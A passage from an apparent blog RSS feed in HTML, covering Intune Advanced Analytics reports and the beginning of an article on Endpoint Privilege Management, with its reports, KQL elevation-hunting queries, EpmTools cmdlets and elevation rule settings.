<li>Devices with batteries designed for low capacity will show low runtime and appear in low runtime insights. The only solution is to replace the battery with a higher-capacity one.</li>
</ul>
</details>
<h3 id="resource-performance-report" tabindex="-1">Resource Performance report <a class="header-anchor" href="#resource-performance-report" aria-label="Permalink to &quot;Resource Performance report&quot;">&ZeroWidthSpace;</a></h3>
<p>The resource performance report shows you how well your devices <span style="color:crimson">processors and RAM</span> are working, and how that <span style="color:crimson">affects the experience</span> of the people using them.
It helps you <span style="color:crimson">spot hardware problems</span> early on, so you can fix them before they escalate.
You'll also see <span style="color:crimson">suggestions for when upgrading your CPU or RAM</span> could make a real difference, and which devices might need attention before their warranties run out.</p>
<ol>
<li>Open the Intune admin center &rarr; Reports &rarr; Endpoint analytics &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Enrollment/UXAnalyticsMenu/~/resourcePerformance" target="_blank" rel="noreferrer">Resource performance</a>.</li>
<li>The Resource performance report page shows a <strong>Resource performance score</strong> tab, a <strong>Model performance</strong> tab and a <strong>Device performance</strong> tab.</li>
</ol>
<img src="\intune\suite\analytics_reporting_resource_score.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p><b>Resource performance score</b></p>
<p>The <strong>Resource Performance Score</strong> provides a quick overview (from 0 to 100 again) of how well your device's CPU and RAM are performing, whether it's a regular Windows PC or a Cloud PC. It’s based on a combination of your <strong>CPU spike time scores</strong> and <strong>RAM spike time scores</strong>, so you can easily see if your hardware is keeping up or needs attention.</p>
<br>
<b>CPU spike time score</b>
<p>The CPU Spike Time Score (0–100) indicates how frequently your device's CPU experiences heavy usage. Lower scores suggest more frequent spikes and potential slowdowns. A spike is counted when CPU usage exceeds 50% on average over the last 14 days.
You can improve scores by upgrading your CPU, optimizing OS or power settings, or choosing a higher-spec Cloud PC.</p>
<br>
<b>RAM spike time score</b>
<p>The RAM Spike Time Score (0–100) indicates how frequently your device's RAM usage exceeds 75%. Lower scores suggest more frequent spikes and potential slowdowns. This report averages this figure over the last 14 days.
You can improve scores by upgrading RAM or adjusting UEFI/BIOS settings for Windows devices, or by selecting a higher configuration for Cloud PCs.</p>
<details class="details custom-block"><summary>Limitations</summary>
<ul>
<li>Some data points in the report might show <code>--</code> when not available. When you export the report, data points that aren't available appear as <code>-1</code> in the generated .csv file.</li>
<li>Health status appears differently in the report and the exported .csv
<ul>
<li><strong>HealthStatus .csv value:</strong>
<ul>
<li>0️⃣: Unknown</li>
<li>1️⃣: Insufficient data</li>
<li>2️⃣: Needs attention</li>
<li>3️⃣: Meeting goals</li>
</ul>
</li>
</ul>
</li>
<li>Some columns, such as <code>ResourcePerfScore</code> and <code>TotalRamInMB</code>, appear as type <code>double</code> in the exported .csv file, while the corresponding columns in the report <strong>Resource performance score</strong> and <strong>RAM</strong> are shown as type <code>int</code>.</li>
<li>The <code>MachineType</code> column in the .csv file can have values <code>Physical</code>, <code>CPC</code>, and <code>Others</code>, which correspond to <strong>Device Type</strong> values in the report as <code>physical</code>, <code>virtual</code>, and <code>unknown</code>, respectively.</li>
</ul>
</details>
<h2 id="additional-intune-reports" tabindex="-1">🗂️ Additional Intune reports <a class="header-anchor" href="#additional-intune-reports" aria-label="Permalink to &quot;:card_index_dividers: Additional Intune reports&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="device-level-user-experience" tabindex="-1">Device-level User experience <a class="header-anchor" href="#device-level-user-experience" aria-label="Permalink to &quot;Device-level User experience&quot;">&ZeroWidthSpace;</a></h3>
<p>To find details on a specific Windows device, you can look in one of the Device-centred reports or select a device directly through the Intune admin Portal.
You will find the <span style="color:crimson">User Experience</span> blade there.</p>
<img src="\intune\suite\analytics_UserExperience.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<hr>
<p><b><u>Endpoint analytics</u></b></p>
<p>The endpoint analytics blade shows you your general <span style="color:crimson">endpoint analytics score</span> and an overview of the other scores.</p>
<img src="\intune\suite\analytics_User_endpoint.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<hr>
<p><b><u>Startup performance</u></b></p>
<p>The Startup performance score (0–100) measures how quickly users go from power-on to a responsive desktop.<br>
It combines:</p>
<ul>
<li><strong>Boot score:</strong> Time from power-on to sign-in, averaged across devices.</li>
<li><strong>Sign-in score:</strong> Time from entering credentials to a usable desktop, averaged across devices.</li>
</ul>
<p>Both scores help identify and address delays in the startup process.</p>
<img src="\intune\suite\analytics_User_startup.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find more information about known issues <a href="https://learn.microsoft.com/en-gb/intune/analytics/startup-performance#known-issues" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<hr>
<p><b><u>Resource performance</u></b></p>
<p>For details on resource performance metrics, refer to the <a href="#resource-performance-report">Resource Performance report</a> section above.</p>
<img src="\intune\suite\analytics_User_resource.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<hr>
<p><b><u>Work from Anywhere</u></b></p>
<p>The <strong>Work from Anywhere</strong> report shows how ready your organization is for remote productivity.
It provides a score (0–100) based on the percentage of devices meeting key criteria:</p>
<ul>
<li><strong>Windows version:</strong> Measures how many devices run supported Windows versions. Newer versions improve user experience.</li>
<li><strong>Cloud management:</strong> Tracks devices managed by Intune or Configuration Manager and connected to Microsoft 365 cloud services.</li>
<li><strong>Cloud identity:</strong> Shows the percentage of devices enrolled in Microsoft Entra ID or hybrid Entra ID for secure, seamless sign-in.</li>
<li><strong>Cloud provisioning:</strong> Measures devices provisioned using Windows Autopilot or as Windows 365 Cloud PCs for a streamlined setup.</li>
</ul>
<p>A higher score means more devices are optimized for productive, secure work from anywhere.</p>
<img src="\intune\suite\analytics_User_anywhere.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find more information about known issues <a href="https://learn.microsoft.com/en-gb/intune/analytics/work-from-anywhere#known-issues" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<hr>
<p><b><u>Battery health</u></b></p>
<p>For details on battery health metrics, refer to the <a href="#battery-health">Battery health</a> section above.</p>
<img src="\intune\suite\analytics_User_battery.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<hr>
<p><b><u>Device timeline</u></b></p>
<p>For details on the device timeline, refer to the <a href="#enhanced-device-timeline">Enhanced device timeline</a> section above.</p>
<img src="\intune\suite\analytics_User_timeline2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<hr>
<h3 id="standard-endpoint-analytics-reports" tabindex="-1">Standard Endpoint analytics reports <a class="header-anchor" href="#standard-endpoint-analytics-reports" aria-label="Permalink to &quot;Standard Endpoint analytics reports&quot;">&ZeroWidthSpace;</a></h3>
<p><b><u>Startup performance</u></b></p>
<p>The Startup performance score (0–100) measures how quickly users go from power-on to a responsive desktop. It combines:</p>
<ul>
<li><strong>Boot score:</strong> Time from power-on to sign-in.</li>
<li><strong>Sign-in score:</strong> Time from entering credentials to a usable desktop.</li>
</ul>
<p>Both scores help identify and address delays in the startup process.</p>
<p><strong>Reporting tabs:</strong></p>
<ul>
<li><strong>Model performance:</strong> View boot and sign-in performance by device model to spot model-specific issues.</li>
<li><strong>Device performance:</strong> See boot and sign-in metrics for all devices, sort by metric, and review individual device history.</li>
<li><strong>Startup processes:</strong> Identify processes that delay sign-in by keeping CPU usage high after desktop render. Shows device count, median delay, and total delay per process.</li>
</ul>
<img src="\intune\suite\analytics_reporting_startup_score.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find more information about known issues <a href="https://learn.microsoft.com/en-gb/intune/analytics/startup-performance#known-issues" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<hr>
<p><b><u>Restart frequency</u></b></p>
<p>Endpoint analytics includes insights into restart frequency, helping you spot devices with frequent reboots that may impact user experience.</p>
<p>Restarts are grouped into six categories:</p>
<ul>
<li><strong>Abnormal shutdowns</strong> (unexpected restarts):
<ul>
<li><strong>Stop errors:</strong> Blue screen errors (should be rare, less than 2 per device per year).</li>
<li><strong>Long power button press:</strong> Forced restarts by holding the power button (should be even less frequent).</li>
<li><strong>Unknown:</strong> Other abnormal shutdowns.</li>
</ul>
</li>
<li><strong>Normal shutdowns</strong> (normal restarts):
<ul>
<li><strong>Update:</strong> Restart to complete a Windows update (about one per device per month is ideal).</li>
<li><strong>Shutdown (no update):</strong> User-initiated shutdowns (daily).</li>
<li><strong>Restart (no update):</strong> Should be rare (ideally close to zero).</li>
</ul>
</li>
</ul>
<img src="\intune\suite\analytics_reporting_startup_restart.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find more information about known issues <a href="https://learn.microsoft.com/en-gb/intune/analytics/restart-frequency#known-issues" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<hr>
<p><b><u>Application reliability</u></b></p>
<p>The application reliability report helps you quickly identify desktop apps that impact end-user productivity by showing aggregate usage and failure metrics.
You can drill into specific device data and view app reliability events to troubleshoot issues.</p>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>As mentioned above, if you use <span style="color:crimson">Advanced Analytics</span>, the <strong>App Reliability Score</strong> and <strong>App Performance tab</strong> are replaced with the <span style="color:crimson">enhanced Device Timeline</span> tab. To view a device's application reliability score, go to the <strong>Device performance tab</strong> and search for the device.</p>
</div>
<p><strong>App reliability score</strong><br>
This score (0–100) summarizes desktop app robustness across your environment, based on each app’s crash frequency and usage over the past 14 days.</p>
<p><strong>App performance tab</strong><br>
Shows reliability insights for foreground apps with significant usage (active on &gt;5 devices or &gt;2% of enrolled devices). For each app, you’ll see:</p>
<ul>
<li><strong>App name/publisher</strong></li>
<li><strong>Active devices (14 days)</strong></li>
<li><strong>Total usage duration (14 days)</strong></li>
<li><strong>Total crashes (14 days)</strong></li>
<li><strong>Mean time to failure</strong> (average usage time before a crash)</li>
<li><strong>App reliability score</strong></li>
</ul>
<p><strong>App performance details</strong><br>
Select an app to compare crash counts and affected devices by app version or OS version, helping you pinpoint problematic versions or OS correlations.</p>
<p><strong>Device performance tab</strong><br>
Shows app reliability insights per device, including total app crashes in the last 14 days. Selecting a device displays a timeline of app crash and unresponsive events (up to 14 days).</p>
<div class="tip custom-block github-alert"><p class="custom-block-title">App crash events are limited to 10 per app, per device, per day.</p>
<p></p>
</div>
<img src="\intune\suite\analytics_reporting_app_OS.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find more information about known issues <a href="https://learn.microsoft.com/en-gb/intune/analytics/app-reliability#known-issues" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<hr>
<p><b><u>Endpoint analytics in Microsoft Adoption Score</u></b></p>
<p>Endpoint analytics in Microsoft Adoption Score provides <span style="color:crimson">organizational-level insights</span> into <strong>device performance</strong>, <strong>startup times</strong>, and <strong>application reliability</strong>, helping you identify and address issues that impact user experience.
These analytics are visible to Adoption Score users, not just Intune admins, making it easier to drive improvements across your organization.</p>
<p><strong>Key insights include:</strong></p>
<ul>
<li>Current Endpoint analytics score and trends over 180 days</li>
<li>Startup performance scores (boot and sign-in times)</li>
<li>Application reliability metrics (top apps affecting reliability, mean time to failure, and active devices)</li>
</ul>
<p>The Endpoint analytics score is a weighted average of <strong>Startup performance</strong>, <strong>Application reliability</strong>, and <strong>Work from anywhere</strong> scores.</p>
<table>
<thead>
<tr>
<th><img src="\intune\suite\analytics_m365adoption.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/></th>
<th><img src="\intune\suite\analytics_m365adoption_startup.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="450" loading="lazy"/></th>
</tr>
</thead>
</table>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find more information about known issues <a href="https://learn.microsoft.com/en-gb/intune/analytics/adoption-score#known-issues" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Who would have thought there could be so much depth behind just a handful of reports and dashboards?</p>
<p>Advanced Analytics in Intune Suite goes far beyond simple charts, offering a wealth of insights, configuration options, and troubleshooting tools.
Not only to watch current data, but also helping admins be more proactive when it comes to device health and reliability.
By understanding all these features, you can truly unlock the value of your device data and deliver a better experience for your users.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Endpoint Privilege Management | Intune Suite | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/intune_suite/endpoint_privilege_management.html</link>
            <guid>https://michaelsendpoint.com/intune/intune_suite/endpoint_privilege_management.html</guid>
            <pubDate>Thu, 12 Jun 2025 22:33:57 GMT</pubDate>
            <description><![CDATA[This article provides an overview of Endpoint Privilege Management in Microsoft Intune, covering its features, configuration, reporting, and user experiences to help organizations manage privilege elevation securely and efficiently.]]></description>
            <content:encoded><![CDATA[<img src="\intune\suite\banner.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h1 id="endpoint-privilege-management" tabindex="-1">Endpoint Privilege Management <a class="header-anchor" href="#endpoint-privilege-management" aria-label="Permalink to &quot;Endpoint Privilege Management&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p><span style="color:crimson">Endpoint Privilege Management (EPM)</span> is a powerful feature in the Intune Suite that helps organizations strike the right balance between security and productivity by allowing users to elevate their privileges only when necessary. With EPM, you can grant standard users temporary admin rights for approved applications or tasks without making them full-time administrators. This approach supports <span style="color:crimson">Zero Trust</span> principles and helps reduce the risks associated with excessive permissions.</p>
<p>You can find and configure Endpoint Privilege Management in the Microsoft Intune admin center by navigating to <strong>Endpoint Security</strong> &rarr; <strong>Endpoint Privilege Management</strong>. Here, you'll be able to set up policies, manage elevation rules, review elevation requests, and access detailed reports to monitor usage and compliance.</p>
<p>In this article, I'll walk through the key features, configuration steps, and user experiences to help you get started with EPM and make the most of its capabilities.</p>
<hr>
<h3 id="reports" tabindex="-1">Reports <a class="header-anchor" href="#reports" aria-label="Permalink to &quot;Reports&quot;">&ZeroWidthSpace;</a></h3>
<p>Intune provides you with a few standard reports to help keep track of your <span style="color:crimson">elevations</span>.</p>
<ul>
<li><strong>Elevation report:</strong> See all elevations, both managed and unmanaged by elevation policies.</li>
<li><strong>Managed elevation report:</strong> See the status of elevations that occurred inside the elevation management policies</li>
<li><strong>Elevation report by applications:</strong> See all elevations, both managed and unmanaged by application.</li>
<li><strong>Elevation report by Publisher:</strong> See number of elevations by each Publisher</li>
<li><strong>Elevation report by User:</strong> See number of elevations by each User</li>
</ul>
<img src="\intune\suite\privilige_reports.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<img src="\intune\suite\privilige_elevation_reports.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<br>
<p>If you require more detailed analysis and additional data, the <span style="color:crimson">Advanced hunting</span> page in the Microsoft Defender Portal should come in handy.
The following KQL queries can help you find more information about the elevations in your environment.</p>
<p>Finds process elevations:</p>
<div class="language-KQL vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">KQL</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DeviceProcessEvents</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Timestamp > </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">ago</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">7d</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> InitiatingProcessIntegrityLevel != ProcessIntegrityLevel</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    and</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ProcessIntegrityLevel == </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"High"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">project</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">          FileName, ProcessCommandLine, ProcessId, InitiatingProcessId, ReportId, FolderPath,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">          InitiatingProcessIntegrityLevel, ProcessIntegrityLevel</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">order</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> by</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Timestamp </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">desc</span></span></code></pre>
</div><p>Finds app elevations from the Endpoint Privilege Management:</p>
<div class="language-KQL vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">KQL</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DeviceEvents</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">where</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ActionType == </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"AppElevationRequest"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">   or</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ActionType == </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"AppElevationApproved"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">   or</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ActionType == </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"AppElevationDenied"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">project</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Timestamp, DeviceName, AccountName, FileName, FolderPath, ActionType, ReportId, InitiatingProcessCommandLine</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">| </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">order</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> by</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Timestamp </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">desc</span></span></code></pre>
</div></br>
<hr>
<h3 id="policies" tabindex="-1">Policies <a class="header-anchor" href="#policies" aria-label="Permalink to &quot;Policies&quot;">&ZeroWidthSpace;</a></h3>
<p>In the <strong>Policies</strong> tab you can create the <strong>Elevation rules policies</strong> and <strong>Elevation settings policies</strong>.
You can find more information about that in the following article.</p>
<img src="\intune\suite\privilige_profile.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<hr>
<h3 id="reusable-settings" tabindex="-1">Reusable settings <a class="header-anchor" href="#reusable-settings" aria-label="Permalink to &quot;Reusable settings&quot;">&ZeroWidthSpace;</a></h3>
<p><strong>Reusable settings</strong> allow you to upload certification files once and reference them across multiple policies, simplifying management and reuse.</p>
<ol>
<li>Click <code>Add</code>.</li>
<li>Enter <strong>'Name'</strong> and <strong>'Description'</strong>.</li>
<li>Upload your <span style="color:crimson">certification file</span>.</li>
</ol>
<img src="\intune\suite\privilige_reusable_settings.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="4">
<li>Review and add the setting.</li>
</ol>
<img src="\intune\suite\privilige_reusable_settings2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Please be aware that this feature is still in <strong>Preview</strong>.</p>
</div>
<hr>
<h3 id="elevation-requests" tabindex="-1">Elevation requests <a class="header-anchor" href="#elevation-requests" aria-label="Permalink to &quot;Elevation requests&quot;">&ZeroWidthSpace;</a></h3>
<p>In the <strong>Elevation requests</strong> tab, you can view and manage user requests for privilege elevation. This section allows IT administrators to review, approve, or deny elevation requests submitted by end users.
You can find more information about that in the following article.</p>
<img src="\intune\suite\privilige_usage_elevation_requests.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="configuration" tabindex="-1">🧑‍🔧 Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;:mechanic: Configuration&quot;">&ZeroWidthSpace;</a></h2>
<p>When Endpoint Privilege Management Settings get applied to a device, EPM will get activated.
In pratical terms, that means, that EPM will be implemented into the Context Menu of the System.
To accomplish this the <span style="color:crimson">EPM Microsoft Agent</span> gets installed in the backround.
This agent includes the <span style="color:crimson">EpmTools PowerShell module</span>, which you can use to troubleshoot or get additional file atributes for future rules you want to build.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 'C:\Program Files\Microsoft EPM Agent\EpmTools\EpmCmdlets.dll'</span></span></code></pre>
</div><p>Following are the available cmdlets:</p>
<table>
<thead>
<tr>
<th style="text-align:left">Name</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Get-Policies</td>
<td style="text-align:left">Retrieves a list of all policies received by the Epm Agent for a given PolicyType (ElevationRules, ClientSettings).</td>
</tr>
<tr>
<td style="text-align:left">Get-DeclaredConfiguration</td>
<td style="text-align:left">Retrieves a list of WinDC documents that identify the policies targeted to the device.</td>
</tr>
<tr>
<td style="text-align:left">Get-DeclaredConfigurationAnalysis</td>
<td style="text-align:left">Retrieves a list of WinDC documents of type MSFTPolicies and checks if the policy is already present in Epm Agent (Processed column).</td>
</tr>
<tr>
<td style="text-align:left">Get-ElevationRules</td>
<td style="text-align:left">Query the EpmAgent lookup functionality and retrieves rules given lookup and target. Lookup is supported for FileName and CertificatePayload.</td>
</tr>
<tr>
<td style="text-align:left">Get-ClientSettings</td>
<td style="text-align:left">Process all existing client settings policies to display the effective client settings used by the EPM Agent.</td>
</tr>
<tr>
<td style="text-align:left">Get-FileAttributes</td>
<td style="text-align:left">Retrieves File Attributes for an .exe file and extracts its Publisher and CA certificates to a set location that can be used to populate Elevation Rule Properties for a particular application.</td>
</tr>
</tbody>
</table>
<hr>
<h3 id="epm-settings" tabindex="-1">EPM Settings <a class="header-anchor" href="#epm-settings" aria-label="Permalink to &quot;EPM Settings&quot;">&ZeroWidthSpace;</a></h3>
<p>Elevation settings let you decide how the elevation client should act by default on your endpoints.</p>
<ol>
<li>When you create a policy you start with entering the <code>Name</code> and <code>Description</code>.</li>
<li>Next activate the <code>Endpoint Privilege Management</code> switch and and you're ready to dive into the rest of the settings.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\suite\privilige_settings_config.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/> <img src="\intune\suite\privilige_settings_config2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><ul><li>Default elevation response<ul><li>Deny all requests</li><li>Require user confirmation<ul><li>Validation: Business justification</li><li>Validation: Windows authentication</li></ul></li><li>Require support approval</li><li>Not configured</li></ul></li><li>Send elevation data for reporting<ul><li>Reporting Scope: Diagnostics data and managed elevations only</li><li>Reporting Scope: Diagnostics data and all endpoint elevations</li><li>Reporting Scope: Diagnostics data only</li></ul></li></ul></th>
</tr>
</thead>
</table>
<p>With the 'Default elevation response' settings you got the possibility to implement a <span style="color:crimson">Whitlist</span> or <span style="color:crimson">Blacklist</span> approche to  your elevation requests
and of course you can change that up between groups. To stay with the least privilege principles, you could make your IT accounts standard users instead of administrators and allow them by default to elevate apps.
That would mean that they can still do all the tasks that need elevation, but are still standard users outside of that. In Addition, all the elevations would be logged.</p>
<p>On the other side of that, you can deny all non IT users by default the elevation and only allow specific ones with <span style="color:crimson">business justification</span> or <span style="color:crimson">support approval</span>.</p>
<hr>
<h3 id="epm-rules" tabindex="-1">EPM Rules <a class="header-anchor" href="#epm-rules" aria-label="Permalink to &quot;EPM Rules&quot;">&ZeroWidthSpace;</a></h3>
<p>Elevation Rules let you decide when and how users can get temporary admin access to specific apps or files on their devices just when they need it, and only for what you allow.</p>
<ol>
<li>When you create a policy you start with entering the <code>Name</code> and <code>Description</code>.</li>
<li>Next you can add individual <code>rules</code> to the policy.</li>
</ol>
<img src="\intune\suite\privilige_rules_config.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="3">
<li>When you click <code>Add</code>, the <code>Rule properties</code> open.</li>
<li>Specify the <code>Rule name</code>, <code>Description</code>, <code>Elevation conditions</code> and <code>File information</code> for your elevation rule.</li>
</ol>
<ul>
<b>Elevation type:</b>
<ul>
<li><b>User confirmed:</b> The user must provide a <code>business justification</code>, complete <code>Windows authentication</code>, or both to proceed with elevation.</li>
<li><b>Automatic:</b> Elevation requests are approved automatically without user or IT intervention.</li>
<li><b>Support approved:</b> Elevation requests are sent to the <b>Elevation requests</b> tab, where IT can review and <span style="color:crimson">approve</span> or <span style="color:crimson">deny</span> them.</li>
</ul>
</ul>
<table>
<thead>
<tr>
<th><img src="\intune\suite\privilige_rules_rule.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><ul><li>Elevation type<ul><li>User confirmed<ul><li>Validation: Business justification</li><li>Validation: Windows authentication</li></ul></li><li>Automatic</li><li>Support approved</li></ul></li><li>Child process behavior<ul><li>Allow all child processes to run elevated</li><li>Require rule to elevate</li><li>Deny all</li><li>Not configured</li></ul></li></ul></th>
</tr>
</thead>
</table>
<ol start="5">
<li>Now you enter the <code>File information</code>. For this you need at least a <code>File name</code> and a <code>File hash</code> or a <code>certificate</code>.</li>
</ol>
<ul>
<b>Signature source:</b>
<ul>
<li><b>Use a certificate file in reusable settings:</b> You can use a previously uploaded certificate from your <a href="https://michaelsendpoint.com/intune/intune_suite/endpoint_privilege_management.html#reusable-settings">Reusable settings</a>.</li>
<li><b>Upload a certificate file:</b> You can upload the certificate for the file you want to elevate.</li>
</ul>
</ul>
<table>
<thead>
<tr>
<th><img src="\intune\suite\privilige_rules_rule2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><ul><li>Signature source<ul><li>Use a certificate file in reusable settings<ul><li><b>Certificate type:</b> Publisher</li><li><b>Certificate type:</b> Certificate authority</li></ul></li><li>Upload a certificate file<ul><li><b>Certificate type:</b> Publisher</li><li><b>Certificate type:</b> Certificate authority</li></ul></li><li>Not configured</li></ul></li><li>Restrict Arguments<ul><li>Allow (Specifies the argument values of the argument based elevation rule.)</li><li>Not configured</li></ul></li></ul></th>
</tr>
</thead>
</table>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
